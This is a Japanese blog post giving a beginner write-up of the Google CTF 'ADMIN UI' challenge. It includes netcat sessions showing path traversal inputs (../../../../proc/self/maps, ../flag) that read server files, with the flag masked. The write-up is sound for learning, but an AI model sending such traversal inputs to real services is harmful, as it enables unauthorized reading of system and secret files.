Zuck3r’s Study

エンジニアではありません

Google CTF : Beginners Quest : ADMIN UI

間違っているところや改善点があったらコメントして欲しい。

環境:VMware DebianベースのLinux

解説

今回は"Google CTF : Beginners Quest : ADMIN UI"を解いていく。管理者UIのバグをついてフラッグを見つけろ、みたいな問題。

f:id:Zuck3r:20181226005150p:plain

一先ず、問題のところに接続してみた。以下のようになっていて1を選だら、パスワードを求められ、2を選べばバージョン0.3または、0.2どちらかを指定して、EULAとパッチノートが見れる。3で終了出来る。

$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
hello
Incorrect, the authorities have been informed!
$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
Version0.2
# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
3

外部からのパラメータにウェブサーバー内のファイル名を直接指定しているので、"ディレクトリトラバーサル"が通りそうだ。やってみる。入力するのは../../../../proc/self/exeや、../../../../../proc/self/mapsといった感じだ。

f:id:Zuck3r:20181226021009p:plain

../../../../proc/self/maps

他にも色々な仮想ファイルが覗ける。詳しく書いてあるサイトがあったので紹介しておく。 /proc ‐ 通信用語の基礎知識

今回はフラッグを探すので../flagというディレクトリにあると思われるので入力してみた。

$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
../flag
CTF{・・・・・・}

やはりCTF{・・・・}が出てきた。今回のフラッグだ。伏字にしているが実行してもらえればわかると思う。

終わりに

ディレクトリトラバーサルという名前は知っていたが、実際どんな感じのものなのか詳しく知れたので良かった。

参考にした動画(Google CTF: Beginner Quest: ADMIN UI (Local File Inclusion) - YouTube)

個人的に気になったら調べておくといいかもなワード